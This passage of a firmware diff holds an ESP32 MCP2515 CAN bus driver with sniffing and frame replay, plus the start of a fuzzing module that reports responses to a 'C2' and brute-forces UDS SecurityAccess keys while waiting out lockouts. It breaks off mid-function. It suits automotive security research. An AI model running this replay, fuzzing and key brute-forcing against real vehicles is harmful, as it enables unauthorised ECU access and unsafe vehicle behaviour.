#define MCP_RXF5SIDH 0x18
#define MCP_RXM0SIDH 0x20
#define MCP_RXM1SIDH 0x24
/* TXB0 registers */
#define MCP_TXB0CTRL 0x30
#define MCP_TXB0SIDH 0x31
/* CANCTRL mode bits */
#define MCP_MODE_NORMAL 0x00
#define MCP_MODE_LISTEN 0x60
#define MCP_MODE_LOOPBACK 0x40
#define MCP_MODE_CONFIG 0x80
/* CANINTF bits */
#define MCP_RX0IF 0x01
#define MCP_RX1IF 0x02
#define MCP_TX0IF 0x04
#define MCP_TX1IF 0x08
#define MCP_TX2IF 0x10
#define MCP_ERRIF 0x20
#define MCP_WAKIF 0x40
#define MCP_MERRF 0x80
/* CANINTE bits */
#define MCP_RX0IE 0x01
#define MCP_RX1IE 0x02
#define MCP_ERRIE 0x20
/* EFLG bits */
#define MCP_EFLG_RX0OVR 0x40
#define MCP_EFLG_RX1OVR 0x80
#define MCP_EFLG_TXBO 0x20
#define MCP_EFLG_RXEP 0x10
#define MCP_EFLG_TXEP 0x08
/* ============================================================
* Bit Timing Tables
* ============================================================ */
typedef struct {
int bitrate;
uint8_t cnf1, cnf2, cnf3;
} can_timing_t;
/* 16 MHz oscillator — TQ = 2/Fosc = 125ns */
static const can_timing_t s_timing_16mhz[] = {
{ 1000000, 0x00, 0xCA, 0x01 }, /* 1 Mbps: SJW=1, BRP=0, 8 TQ */
{ 500000, 0x00, 0xF0, 0x86 }, /* 500 kbps: SJW=1, BRP=0, 16 TQ */
{ 250000, 0x01, 0xF0, 0x86 }, /* 250 kbps: SJW=1, BRP=1, 16 TQ */
{ 125000, 0x03, 0xF0, 0x86 }, /* 125 kbps: SJW=1, BRP=3, 16 TQ */
{ 100000, 0x04, 0xF0, 0x86 }, /* 100 kbps: SJW=1, BRP=4, 16 TQ */
{ 0, 0, 0, 0 }
};
/* 8 MHz oscillator — TQ = 2/Fosc = 250ns */
static const can_timing_t s_timing_8mhz[] = {
{ 500000, 0x00, 0x90, 0x02 }, /* 500 kbps: SJW=1, BRP=0, 8 TQ */
{ 250000, 0x00, 0xF0, 0x86 }, /* 250 kbps: SJW=1, BRP=0, 16 TQ */
{ 125000, 0x01, 0xF0, 0x86 }, /* 125 kbps: SJW=1, BRP=1, 16 TQ */
{ 100000, 0x03, 0xAC, 0x03 }, /* 100 kbps: SJW=1, BRP=3, 10 TQ */
{ 0, 0, 0, 0 }
};
/* ============================================================
* Driver State
* ============================================================ */
static spi_device_handle_t s_spi = NULL;
static TaskHandle_t s_rx_task = NULL;
static SemaphoreHandle_t s_int_sem = NULL;
static SemaphoreHandle_t s_tx_mutex = NULL;
static volatile bool s_running = false;
static can_rx_callback_t s_rx_cb = NULL;
static void *s_rx_ctx = NULL;
/* Counters */
static uint32_t s_rx_count = 0;
static uint32_t s_tx_count = 0;
static uint32_t s_bus_errors = 0;
static uint32_t s_rx_overflow = 0;
static bool s_bus_off = false;
static bool s_err_passive = false;
/* ============================================================
* SPI Low-Level Helpers
* ============================================================ */
static uint8_t mcp_read_reg(uint8_t addr)
{
uint8_t tx[3] = { MCP_READ, addr, 0x00 };
uint8_t rx[3] = { 0 };
spi_transaction_t t = {
.length = 24,
.tx_buffer = tx,
.rx_buffer = rx,
};
spi_device_transmit(s_spi, &t);
return rx[2];
}
static void mcp_write_reg(uint8_t addr, uint8_t val)
{
uint8_t tx[3] = { MCP_WRITE, addr, val };
spi_transaction_t t = {
.length = 24,
.tx_buffer = tx,
};
spi_device_transmit(s_spi, &t);
}
static void mcp_modify_reg(uint8_t addr, uint8_t mask, uint8_t val)
{
uint8_t tx[4] = { MCP_BIT_MODIFY, addr, mask, val };
spi_transaction_t t = {
.length = 32,
.tx_buffer = tx,
};
spi_device_transmit(s_spi, &t);
}
static void mcp_reset(void)
{
uint8_t tx[1] = { MCP_RESET };
spi_transaction_t t = {
.length = 8,
.tx_buffer = tx,
};
spi_device_transmit(s_spi, &t);
vTaskDelay(pdMS_TO_TICKS(10)); /* MCP2515 needs time after reset */
}
static void mcp_set_mode(uint8_t mode)
{
mcp_modify_reg(MCP_CANCTRL, 0xE0, mode);
/* Wait for mode change confirmation */
for (int i = 0; i < 50; i++) {
uint8_t stat = mcp_read_reg(MCP_CANSTAT);
if ((stat & 0xE0) == mode) return;
vTaskDelay(pdMS_TO_TICKS(1));
}
ESP_LOGW(TAG, "Mode change to 0x%02X timeout", mode);
}
/* Read a complete frame from RX buffer (0 or 1) */
static void mcp_read_rx_buffer(int buf, can_frame_t *frame)
{
/* Use READ_RX instruction for auto-clear of interrupt flag */
uint8_t cmd = (buf == 0) ? MCP_READ_RX0 : MCP_READ_RX1;
/* Read: cmd + SIDH + SIDL + EID8 + EID0 + DLC + 8 data = 14 bytes */
uint8_t tx[14] = { 0 };
uint8_t rx[14] = { 0 };
tx[0] = cmd;
spi_transaction_t t = {
.length = 14 * 8,
.tx_buffer = tx,
.rx_buffer = rx,
};
spi_device_transmit(s_spi, &t);
/* Parse — offsets relative to rx[1] (SIDH is byte 1) */
uint8_t sidh = rx[1];
uint8_t sidl = rx[2];
uint8_t eid8 = rx[3];
uint8_t eid0 = rx[4];
uint8_t dlc = rx[5];
frame->extended = (sidl & 0x08) != 0;
frame->rtr = false;
if (frame->extended) {
frame->id = ((uint32_t)sidh << 21)
| ((uint32_t)(sidl & 0xE0) << 13)
| ((uint32_t)(sidl & 0x03) << 16)
| ((uint32_t)eid8 << 8)
| (uint32_t)eid0;
frame->rtr = (dlc & 0x40) != 0;
} else {
frame->id = ((uint32_t)sidh << 3) | ((uint32_t)(sidl >> 5) & 0x07);
frame->rtr = (sidl & 0x10) != 0;
}
frame->dlc = dlc & 0x0F;
if (frame->dlc > 8) frame->dlc = 8;
memcpy(frame->data, &rx[6], 8);
frame->timestamp_us = 0; /* Caller sets timestamp */
}
/* Write a frame to TX buffer 0 and request send */
static bool mcp_write_tx_buffer(const can_frame_t *frame)
{
/* Check if TX buffer 0 is free */
uint8_t ctrl = mcp_read_reg(MCP_TXB0CTRL);
if (ctrl & 0x08) {
/* TXREQ still set — previous TX pending */
return false;
}
/* Build TX buffer content: SIDH + SIDL + EID8 + EID0 + DLC + data */
uint8_t tx[14] = { 0 };
tx[0] = MCP_LOAD_TX0;
if (frame->extended) {
tx[1] = (uint8_t)(frame->id >> 21); /* SIDH */
tx[2] = (uint8_t)((frame->id >> 13) & 0xE0) /* SIDL high bits */
| 0x08 /* EXIDE = 1 */
| (uint8_t)((frame->id >> 16) & 0x03); /* SIDL low bits */
tx[3] = (uint8_t)(frame->id >> 8); /* EID8 */
tx[4] = (uint8_t)(frame->id); /* EID0 */
tx[5] = frame->dlc | (frame->rtr ? 0x40 : 0x00); /* DLC + RTR */
} else {
tx[1] = (uint8_t)(frame->id >> 3); /* SIDH */
tx[2] = (uint8_t)((frame->id & 0x07) << 5) /* SIDL */
| (frame->rtr ? 0x10 : 0x00);
tx[3] = 0;
tx[4] = 0;
tx[5] = frame->dlc;
}
memcpy(&tx[6], frame->data, 8);
spi_transaction_t t = {
.length = 14 * 8,
.tx_buffer = tx,
};
spi_device_transmit(s_spi, &t);
/* Request to send */
uint8_t rts = MCP_RTS_TX0;
spi_transaction_t rts_t = {
.length = 8,
.tx_buffer = &rts,
};
spi_device_transmit(s_spi, &rts_t);
return true;
}
/* ============================================================
* GPIO ISR INT pin (active low)
* ============================================================ */
static void IRAM_ATTR gpio_isr_handler(void *arg)
{
BaseType_t woken = pdFALSE;
xSemaphoreGiveFromISR(s_int_sem, &woken);
if (woken) portYIELD_FROM_ISR();
}
/* ============================================================
* RX Task
* ============================================================ */
static void rx_task(void *arg)
{
ESP_LOGI(TAG, "RX task started");
while (s_running) {
/* Wait for interrupt or timeout (poll every 100ms as fallback) */
if (xSemaphoreTake(s_int_sem, pdMS_TO_TICKS(100)) != pdTRUE) {
continue;
}
/* Read interrupt flags */
uint8_t intf = mcp_read_reg(MCP_CANINTF);
/* RX buffer 0 full */
if (intf & MCP_RX0IF) {
can_frame_t frame;
mcp_read_rx_buffer(0, &frame); /* READ_RX auto-clears RX0IF */
frame.timestamp_us = esp_timer_get_time();
s_rx_count++;
if (s_rx_cb) s_rx_cb(&frame, s_rx_ctx);
}
/* RX buffer 1 full */
if (intf & MCP_RX1IF) {
can_frame_t frame;
mcp_read_rx_buffer(1, &frame); /* READ_RX auto-clears RX1IF */
frame.timestamp_us = esp_timer_get_time();
s_rx_count++;
if (s_rx_cb) s_rx_cb(&frame, s_rx_ctx);
}
/* Error interrupt */
if (intf & MCP_ERRIF) {
uint8_t eflg = mcp_read_reg(MCP_EFLG);
s_bus_errors++;
if (eflg & MCP_EFLG_TXBO) {
s_bus_off = true;
ESP_LOGW(TAG, "Bus-off detected");
}
if (eflg & (MCP_EFLG_RXEP | MCP_EFLG_TXEP)) {
s_err_passive = true;
}
if (eflg & (MCP_EFLG_RX0OVR | MCP_EFLG_RX1OVR)) {
s_rx_overflow++;
}
/* Clear error flags */
mcp_modify_reg(MCP_EFLG, 0xFF, 0x00);
mcp_modify_reg(MCP_CANINTF, MCP_ERRIF, 0x00);
}
/* TX complete — clear flags */
if (intf & (MCP_TX0IF | MCP_TX1IF | MCP_TX2IF)) {
mcp_modify_reg(MCP_CANINTF, MCP_TX0IF | MCP_TX1IF | MCP_TX2IF, 0x00);
}
}
ESP_LOGI(TAG, "RX task stopped");
s_rx_task = NULL;
vTaskDelete(NULL);
}
/* ============================================================
* Public API Lifecycle
* ============================================================ */
bool can_driver_init(int bitrate, uint8_t osc_mhz)
{
if (s_spi) {
ESP_LOGW(TAG, "Already initialized");
return false;
}
/* Select timing table */
const can_timing_t *table = NULL;
if (osc_mhz == 16) {
table = s_timing_16mhz;
} else if (osc_mhz == 8) {
table = s_timing_8mhz;
} else {
ESP_LOGE(TAG, "Unsupported oscillator: %u MHz", osc_mhz);
return false;
}
/* Find matching bitrate */
const can_timing_t *timing = NULL;
for (int i = 0; table[i].bitrate != 0; i++) {
if (table[i].bitrate == bitrate) {
timing = &table[i];
break;
}
}
if (!timing) {
ESP_LOGE(TAG, "Unsupported bitrate %d for %u MHz osc", bitrate, osc_mhz);
return false;
}
/* Init SPI bus */
spi_bus_config_t bus_cfg = {
.mosi_io_num = CONFIG_CANBUS_PIN_MOSI,
.miso_io_num = CONFIG_CANBUS_PIN_MISO,
.sclk_io_num = CONFIG_CANBUS_PIN_SCK,
.quadwp_io_num = -1,
.quadhd_io_num = -1,
.max_transfer_sz = 32,
};
esp_err_t ret = spi_bus_initialize(CONFIG_CANBUS_SPI_HOST, &bus_cfg, SPI_DMA_DISABLED);
if (ret != ESP_OK) {
ESP_LOGE(TAG, "SPI bus init failed: %s", esp_err_to_name(ret));
return false;
}
/* Add MCP2515 as SPI device */
spi_device_interface_config_t dev_cfg = {
.mode = 0, /* SPI mode 0 (CPOL=0, CPHA=0) */
.clock_speed_hz = CONFIG_CANBUS_SPI_CLOCK_HZ,
.spics_io_num = CONFIG_CANBUS_PIN_CS,
.queue_size = 4,
};
ret = spi_bus_add_device(CONFIG_CANBUS_SPI_HOST, &dev_cfg, &s_spi);
if (ret != ESP_OK) {
ESP_LOGE(TAG, "SPI device add failed: %s", esp_err_to_name(ret));
spi_bus_free(CONFIG_CANBUS_SPI_HOST);
return false;
}
/* Reset MCP2515 (enters CONFIG mode automatically) */
mcp_reset();
/* Verify we can read CANSTAT — should be in CONFIG mode (0x80) */
uint8_t stat = mcp_read_reg(MCP_CANSTAT);
if ((stat & 0xE0) != MCP_MODE_CONFIG) {
ESP_LOGE(TAG, "MCP2515 not responding (CANSTAT=0x%02X)", stat);
spi_bus_remove_device(s_spi);
spi_bus_free(CONFIG_CANBUS_SPI_HOST);
s_spi = NULL;
return false;
}
ESP_LOGI(TAG, "MCP2515 detected (CANSTAT=0x%02X)", stat);
/* Set bit timing */
mcp_write_reg(MCP_CNF1, timing->cnf1);
mcp_write_reg(MCP_CNF2, timing->cnf2);
mcp_write_reg(MCP_CNF3, timing->cnf3);
/* Enable interrupts: RX0, RX1, Error */
mcp_write_reg(MCP_CANINTE, MCP_RX0IE | MCP_RX1IE | MCP_ERRIE);
/* Clear all interrupt flags */
mcp_write_reg(MCP_CANINTF, 0x00);
/* RXB0CTRL: rollover to RXB1 if RXB0 full, receive all valid messages */
mcp_write_reg(MCP_RXB0CTRL, 0x64); /* BUKT=1, RXM=11 (turn mask/filter off) */
mcp_write_reg(MCP_RXB1CTRL, 0x60); /* RXM=11 (turn mask/filter off) */
/* Create semaphores */
s_int_sem = xSemaphoreCreateBinary();
s_tx_mutex = xSemaphoreCreateMutex();
/* Reset counters */
s_rx_count = 0;
s_tx_count = 0;
s_bus_errors = 0;
s_rx_overflow = 0;
s_bus_off = false;
s_err_passive = false;
/* Configure INT pin as input with pull-up, falling edge interrupt */
gpio_config_t io_cfg = {
.pin_bit_mask = (1ULL << CONFIG_CANBUS_PIN_INT),
.mode = GPIO_MODE_INPUT,
.pull_up_en = GPIO_PULLUP_ENABLE,
.pull_down_en = GPIO_PULLDOWN_DISABLE,
.intr_type = GPIO_INTR_NEGEDGE,
};
gpio_config(&io_cfg);
gpio_install_isr_service(0);
gpio_isr_handler_add(CONFIG_CANBUS_PIN_INT, gpio_isr_handler, NULL);
ESP_LOGI(TAG, "Initialized: %d bps, %u MHz osc, SPI@%d Hz",
bitrate, osc_mhz, CONFIG_CANBUS_SPI_CLOCK_HZ);
return true;
}
bool can_driver_start(can_mode_t mode)
{
if (!s_spi) {
ESP_LOGE(TAG, "Not initialized");
return false;
}
if (s_running) {
ESP_LOGW(TAG, "Already running");
return false;
}
/* Map mode enum to MCP2515 mode register value */
uint8_t mcp_mode;
const char *mode_str;
switch (mode) {
case CAN_MODE_LISTEN_ONLY:
mcp_mode = MCP_MODE_LISTEN;
mode_str = "listen-only";
break;
case CAN_MODE_LOOPBACK:
mcp_mode = MCP_MODE_LOOPBACK;
mode_str = "loopback";
break;
default:
mcp_mode = MCP_MODE_NORMAL;
mode_str = "normal";
break;
}
/* Set operational mode */
mcp_set_mode(mcp_mode);
/* Verify mode */
uint8_t stat = mcp_read_reg(MCP_CANSTAT);
if ((stat & 0xE0) != mcp_mode) {
ESP_LOGE(TAG, "Failed to enter %s mode (CANSTAT=0x%02X)", mode_str, stat);
return false;
}
s_running = true;
/* Start RX task on Core 1, priority 5 (above normal) */
BaseType_t ret = xTaskCreatePinnedToCore(
rx_task, "can_rx", 4096, NULL, 5, &s_rx_task, 1
);
if (ret != pdPASS) {
ESP_LOGE(TAG, "Failed to create RX task");
s_running = false;
mcp_set_mode(MCP_MODE_CONFIG);
return false;
}
ESP_LOGI(TAG, "Started in %s mode", mode_str);
return true;
}
void can_driver_stop(void)
{
if (!s_running) return;
s_running = false;
/* Give semaphore to wake RX task so it exits */
if (s_int_sem) xSemaphoreGive(s_int_sem);
/* Wait for RX task to die */
for (int i = 0; i < 20 && s_rx_task != NULL; i++) {
vTaskDelay(pdMS_TO_TICKS(50));
}
/* Put MCP2515 back to CONFIG mode */
if (s_spi) {
mcp_set_mode(MCP_MODE_CONFIG);
}
ESP_LOGI(TAG, "Stopped");
}
void can_driver_deinit(void)
{
can_driver_stop();
/* Remove ISR */
gpio_isr_handler_remove(CONFIG_CANBUS_PIN_INT);
/* Free SPI */
if (s_spi) {
spi_bus_remove_device(s_spi);
spi_bus_free(CONFIG_CANBUS_SPI_HOST);
s_spi = NULL;
}
/* Free semaphores */
if (s_int_sem) { vSemaphoreDelete(s_int_sem); s_int_sem = NULL; }
if (s_tx_mutex) { vSemaphoreDelete(s_tx_mutex); s_tx_mutex = NULL; }
ESP_LOGI(TAG, "Deinitialized");
}
bool can_driver_is_running(void)
{
return s_running;
}
/* ============================================================
* Public API TX / RX
* ============================================================ */
bool can_driver_send(const can_frame_t *frame)
{
if (!s_running || !s_spi) return false;
xSemaphoreTake(s_tx_mutex, portMAX_DELAY);
/* Try to load into TX buffer, with retries for busy buffer */
bool ok = false;
for (int i = 0; i < 10; i++) {
if (mcp_write_tx_buffer(frame)) {
ok = true;
break;
}
vTaskDelay(pdMS_TO_TICKS(1));
}
if (ok) {
/* Wait for TX complete (TX0IF) or timeout */
for (int i = 0; i < 100; i++) {
uint8_t intf = mcp_read_reg(MCP_CANINTF);
if (intf & MCP_TX0IF) {
mcp_modify_reg(MCP_CANINTF, MCP_TX0IF, 0x00);
s_tx_count++;
break;
}
vTaskDelay(pdMS_TO_TICKS(1));
}
}
xSemaphoreGive(s_tx_mutex);
return ok;
}
void can_driver_set_rx_callback(can_rx_callback_t cb, void *ctx)
{
s_rx_cb = cb;
s_rx_ctx = ctx;
}
void can_driver_get_rx_callback(can_rx_callback_t *cb, void **ctx)
{
if (cb) *cb = s_rx_cb;
if (ctx) *ctx = s_rx_ctx;
}
/* ============================================================
* Public API Hardware Filters
* ============================================================ */
/* Filter register base addresses (SIDH of each filter) */
static const uint8_t s_filter_addrs[6] = {
MCP_RXF0SIDH, MCP_RXF1SIDH, MCP_RXF2SIDH,
MCP_RXF3SIDH, MCP_RXF4SIDH, MCP_RXF5SIDH,
};
static const uint8_t s_mask_addrs[2] = {
MCP_RXM0SIDH, MCP_RXM1SIDH,
};
/* Write ID to filter/mask register set (4 bytes: SIDH, SIDL, EID8, EID0) */
static void write_id_regs(uint8_t base_addr, uint32_t id, bool extended)
{
uint8_t sidh, sidl, eid8, eid0;
if (extended) {
sidh = (uint8_t)(id >> 21);
sidl = (uint8_t)((id >> 13) & 0xE0) | 0x08 | (uint8_t)((id >> 16) & 0x03);
eid8 = (uint8_t)(id >> 8);
eid0 = (uint8_t)(id);
} else {
sidh = (uint8_t)(id >> 3);
sidl = (uint8_t)((id & 0x07) << 5);
eid8 = 0;
eid0 = 0;
}
mcp_write_reg(base_addr, sidh);
mcp_write_reg(base_addr + 1, sidl);
mcp_write_reg(base_addr + 2, eid8);
mcp_write_reg(base_addr + 3, eid0);
}
bool can_driver_set_filter(int idx, uint32_t id, bool extended)
{
if (!s_spi || idx < 0 || idx > 5) return false;
/* Filters can only be set in CONFIG mode */
bool was_running = s_running;
if (was_running) can_driver_stop();
mcp_set_mode(MCP_MODE_CONFIG);
write_id_regs(s_filter_addrs[idx], id, extended);
/* Enable filtering on the relevant RX buffer */
if (idx < 2) {
mcp_write_reg(MCP_RXB0CTRL, 0x04); /* BUKT=1, RXM=00 (use filter) */
} else {
mcp_write_reg(MCP_RXB1CTRL, 0x00); /* RXM=00 (use filter) */
}
if (was_running) can_driver_start(CAN_MODE_NORMAL);
return true;
}
bool can_driver_set_mask(int idx, uint32_t mask, bool extended)
{
if (!s_spi || idx < 0 || idx > 1) return false;
bool was_running = s_running;
if (was_running) can_driver_stop();
mcp_set_mode(MCP_MODE_CONFIG);
write_id_regs(s_mask_addrs[idx], mask, extended);
if (was_running) can_driver_start(CAN_MODE_NORMAL);
return true;
}
void can_driver_clear_filters(void)
{
if (!s_spi) return;
bool was_running = s_running;
if (was_running) can_driver_stop();
mcp_set_mode(MCP_MODE_CONFIG);
/* Set masks to 0 (match anything) */
for (int i = 0; i < 2; i++) {
write_id_regs(s_mask_addrs[i], 0, false);
}
/* RXM=11 → turn off mask/filter, receive all */
mcp_write_reg(MCP_RXB0CTRL, 0x64);
mcp_write_reg(MCP_RXB1CTRL, 0x60);
if (was_running) can_driver_start(CAN_MODE_NORMAL);
}
/* ============================================================
* Public API Status
* ============================================================ */
void can_driver_get_status(can_status_t *out)
{
memset(out, 0, sizeof(*out));
out->rx_count = s_rx_count;
out->tx_count = s_tx_count;
out->bus_errors = s_bus_errors;
out->rx_overflow = s_rx_overflow;
out->bus_off = s_bus_off;
if (s_spi) {
out->tx_errors = mcp_read_reg(MCP_TEC);
out->rx_errors = mcp_read_reg(MCP_REC);
out->error_passive = (out->tx_errors > 127) || (out->rx_errors > 127);
}
if (!s_spi) out->state = "not_initialized";
else if (!s_running) out->state = "stopped";
else if (out->bus_off) out->state = "bus_off";
else if (out->error_passive) out->state = "error_passive";
else out->state = "running";
}
/* ============================================================
* Public API Replay
* ============================================================ */
bool can_driver_replay(const can_frame_t *frames, int count, int speed_pct)
{
if (!s_running || !frames || count <= 0) return false;
ESP_LOGI(TAG, "Replaying %d frames at %d%% speed", count, speed_pct);
int64_t base_ts = frames[0].timestamp_us;
for (int i = 0; i < count && s_running; i++) {
/* Wait for inter-frame delay */
if (i > 0 && speed_pct > 0) {
int64_t delta_us = frames[i].timestamp_us - frames[i - 1].timestamp_us;
if (delta_us > 0) {
int64_t wait_us = (delta_us * 100) / speed_pct;
if (wait_us > 1000) {
vTaskDelay(pdMS_TO_TICKS(wait_us / 1000));
}
}
}
can_frame_t tx = frames[i];
if (!can_driver_send(&tx)) {
ESP_LOGW(TAG, "Replay: send failed at frame %d", i);
}
}
ESP_LOGI(TAG, "Replay complete (%d frames)", count);
return true;
}
#endif /* CONFIG_MODULE_CANBUS */

View File

@ -0,0 +1,117 @@
/*
* canbus_driver.h
* MCP2515 CAN controller driver via SPI.
* Abstracts all hardware details upper layers see only can_frame_t.
*/
#pragma once
#include <stdbool.h>
#include <stdint.h>
#ifdef __cplusplus
extern "C" {
#endif
/* ============================================================
* CAN Frame
* ============================================================ */
typedef struct {
uint32_t id; /* Arbitration ID (11 or 29 bit) */
uint8_t dlc; /* Data Length Code (0-8) */
uint8_t data[8]; /* Payload */
bool extended; /* Extended (29-bit) ID */
bool rtr; /* Remote Transmission Request */
int64_t timestamp_us; /* Microsecond timestamp (esp_timer_get_time) */
} can_frame_t;
/* ============================================================
* Operating Modes
* ============================================================ */
typedef enum {
CAN_MODE_NORMAL, /* Full TX/RX participation on bus */
CAN_MODE_LISTEN_ONLY, /* RX only, no ACK (stealth sniff) */
CAN_MODE_LOOPBACK, /* Self-test, TX frames loop back to RX */
} can_mode_t;
/* ============================================================
* RX Callback
* ============================================================ */
/* Called from RX task context (not ISR) — safe to call msg_data() etc. */
typedef void (*can_rx_callback_t)(const can_frame_t *frame, void *ctx);
/* ============================================================
* Driver Lifecycle
* ============================================================ */
/* Init SPI bus + MCP2515 reset + bit timing config */
bool can_driver_init(int bitrate, uint8_t osc_mhz);
/* Set MCP2515 to operational mode, start RX task */
bool can_driver_start(can_mode_t mode);
/* Set MCP2515 to config mode, kill RX task */
void can_driver_stop(void);
/* Free SPI resources */
void can_driver_deinit(void);
/* Check if driver is running */
bool can_driver_is_running(void);
/* ============================================================
* TX / RX
* ============================================================ */
/* Send a single CAN frame (blocking until TX complete or timeout) */
bool can_driver_send(const can_frame_t *frame);
/* Register callback for received frames */
void can_driver_set_rx_callback(can_rx_callback_t cb, void *ctx);
/* Retrieve the currently installed RX callback */
void can_driver_get_rx_callback(can_rx_callback_t *cb, void **ctx);
/* ============================================================
* Hardware Filters (MCP2515 acceptance masks + filters)
* ============================================================ */
/* Set one of 6 acceptance filters (0-5). Filters 0-1 use mask 0, filters 2-5 use mask 1. */
bool can_driver_set_filter(int filter_idx, uint32_t id, bool extended);
/* Set one of 2 acceptance masks (0-1) */
bool can_driver_set_mask(int mask_idx, uint32_t mask, bool extended);
/* Clear all filters — accept all frames */
void can_driver_clear_filters(void);
/* ============================================================
* Status / Diagnostics
* ============================================================ */
typedef struct {
uint32_t rx_count;
uint32_t tx_count;
uint32_t rx_errors; /* REC from MCP2515 */
uint32_t tx_errors; /* TEC from MCP2515 */
uint32_t bus_errors;
uint32_t rx_overflow; /* RX buffer overflow count */
bool bus_off; /* TEC > 255 */
bool error_passive; /* TEC or REC > 127 */
const char *state; /* "stopped"/"running"/"bus_off"/"error_passive" */
} can_status_t;
void can_driver_get_status(can_status_t *out);
/* ============================================================
* Replay
* ============================================================ */
/* Replay recorded frames. speed_pct: 100=real-time, 0=max speed */
bool can_driver_replay(const can_frame_t *frames, int count, int speed_pct);
#ifdef __cplusplus
}
#endif

View File

@ -0,0 +1,359 @@
/*
* canbus_fuzz.c
* CAN bus fuzzing engine implementation.
*
* Runs as a FreeRTOS task on Core 1. Reports interesting responses to C2.
*/
#include "sdkconfig.h"
#if defined(CONFIG_MODULE_CANBUS) && defined(CONFIG_CANBUS_FUZZ)
#include <string.h>
#include "esp_log.h"
#include "esp_random.h"
#include "freertos/FreeRTOS.h"
#include "freertos/task.h"
#include "freertos/semphr.h"
#include "canbus_fuzz.h"
#include "canbus_driver.h"
#include "utils.h"
#ifdef CONFIG_CANBUS_ISO_TP
#include "canbus_isotp.h"
#endif
#define TAG "CAN_FUZZ"
static volatile bool s_fuzz_running = false;
static TaskHandle_t s_fuzz_task = NULL;
static fuzz_config_t s_fuzz_cfg;
static const char *s_fuzz_req_id = NULL;
static uint32_t s_fuzz_count = 0;
static uint32_t s_fuzz_responses = 0;
static SemaphoreHandle_t s_fuzz_mutex = NULL;
/* ============================================================
* Response detector callback
* ============================================================ */
/* Temporary callback to detect responses during fuzzing */
static can_rx_callback_t s_prev_cb = NULL;
static void *s_prev_ctx = NULL;
static void fuzz_rx_callback(const can_frame_t *frame, void *ctx)
{
(void)ctx;
/* Count any response and report interesting ones */
s_fuzz_responses++;
/* Report to C2 */
char line[96];
snprintf(line, sizeof(line), "FUZZ_RSP|%03lX|%u|",
(unsigned long)frame->id, frame->dlc);
size_t off = strlen(line);
for (int i = 0; i < frame->dlc && off < sizeof(line) - 2; i++) {
off += snprintf(line + off, sizeof(line) - off, "%02X", frame->data[i]);
}
msg_data(TAG, line, strlen(line), false, s_fuzz_req_id);
/* Chain to original callback */
if (s_prev_cb) s_prev_cb(frame, s_prev_ctx);
}
/* ============================================================
* Fuzz Modes
* ============================================================ */
/* ID Scan: send fixed payload on every ID in range */
static void fuzz_id_scan(void)
{
uint8_t data[8];
memcpy(data, s_fuzz_cfg.seed_data, 8);
uint8_t dlc = s_fuzz_cfg.seed_dlc > 0 ? s_fuzz_cfg.seed_dlc : 8;
for (uint32_t id = s_fuzz_cfg.id_start;
id <= s_fuzz_cfg.id_end && s_fuzz_running;
id++) {
can_frame_t frame = {
.id = id,
.dlc = dlc,
.extended = (id > 0x7FF),
.rtr = false,
};
memcpy(frame.data, data, 8);
can_driver_send(&frame);
s_fuzz_count++;
if (s_fuzz_cfg.delay_ms > 0) {
vTaskDelay(pdMS_TO_TICKS(s_fuzz_cfg.delay_ms));
}
if (s_fuzz_cfg.max_iterations > 0 && s_fuzz_count >= (uint32_t)s_fuzz_cfg.max_iterations) {
break;
}
}
}
/* Data Mutate: for a fixed ID, try all values for each byte */
static void fuzz_data_mutate(void)
{
can_frame_t frame = {
.id = s_fuzz_cfg.target_id,
.dlc = s_fuzz_cfg.seed_dlc > 0 ? s_fuzz_cfg.seed_dlc : 8,
.extended = (s_fuzz_cfg.target_id > 0x7FF),
.rtr = false,
};
memcpy(frame.data, s_fuzz_cfg.seed_data, 8);
/* For each byte position, try all 256 values */
for (int pos = 0; pos < frame.dlc && s_fuzz_running; pos++) {
uint8_t original = frame.data[pos];
for (int val = 0; val < 256 && s_fuzz_running; val++) {
frame.data[pos] = (uint8_t)val;
can_driver_send(&frame);
s_fuzz_count++;
if (s_fuzz_cfg.delay_ms > 0) {
vTaskDelay(pdMS_TO_TICKS(s_fuzz_cfg.delay_ms));
}
if (s_fuzz_cfg.max_iterations > 0 &&
s_fuzz_count >= (uint32_t)s_fuzz_cfg.max_iterations) {
return;
}
}
frame.data[pos] = original; /* Restore for next position */
}
}
/* Random: random ID + random data */
static void fuzz_random(void)
{
int max_iter = s_fuzz_cfg.max_iterations > 0
? s_fuzz_cfg.max_iterations
: 10000;
for (int i = 0; i < max_iter && s_fuzz_running; i++) {
uint32_t rand_val = esp_random();
can_frame_t frame = {
.id = rand_val & 0x7FF, /* Standard ID range */
.dlc = (uint8_t)((esp_random() % 8) + 1),
.extended = false,
.rtr = false,
};
/* Fill with random data */
uint32_t r1 = esp_random();
uint32_t r2 = esp_random();
memcpy(&frame.data[0], &r1, 4);
memcpy(&frame.data[4], &r2, 4);
can_driver_send(&frame);
s_fuzz_count++;
if (s_fuzz_cfg.delay_ms > 0) {
vTaskDelay(pdMS_TO_TICKS(s_fuzz_cfg.delay_ms));
}
}
}
/* UDS Auth: brute-force SecurityAccess key */
static void fuzz_uds_auth(void)
{
#ifdef CONFIG_CANBUS_ISO_TP
uint32_t tx_id = s_fuzz_cfg.target_id;
uint32_t rx_id = tx_id + 0x08;
int max_iter = s_fuzz_cfg.max_iterations > 0
? s_fuzz_cfg.max_iterations
: 65536;
ESP_LOGI(TAG, "UDS auth brute-force on TX=0x%03lX", (unsigned long)tx_id);
for (int attempt = 0; attempt < max_iter && s_fuzz_running; attempt++) {
/* Step 1: Request seed (SecurityAccess level 0x01) */
uint8_t seed_req[2] = { 0x27, 0x01 };
uint8_t resp[32];
size_t resp_len = 0;
isotp_status_t st = isotp_request(
tx_id, rx_id, seed_req, 2,
resp, sizeof(resp), &resp_len, 1000
);
if (st != ISOTP_OK || resp_len < 2) {
vTaskDelay(pdMS_TO_TICKS(100));
continue;
}
/* Check for exceededAttempts NRC (0x36) — back off */
if (resp[0] == 0x7F && resp_len >= 3 && resp[2] == 0x36) {
ESP_LOGW(TAG, "ExceededAttempts — waiting 10s");
vTaskDelay(pdMS_TO_TICKS(10000));
continue;
}
/* Check for timeDelayNotExpired NRC (0x37) — back off */
if (resp[0] == 0x7F && resp_len >= 3 && resp[2] == 0x37) {
ESP_LOGW(TAG, "TimeDelayNotExpired — waiting 10s");
vTaskDelay(pdMS_TO_TICKS(10000));
continue;
}
/* Positive seed response: 0x67, 0x01, seed bytes */
if (resp[0] != 0x67 || resp[1] != 0x01) continue;
int seed_len = (int)resp_len - 2;
if (seed_len <= 0 || seed_len > 8) continue;
/* Step 2: Try key (incremental or random based on iteration) */
uint8_t key_req[10] = { 0x27, 0x02 };
int key_len;
if (seed_len <= 2) {
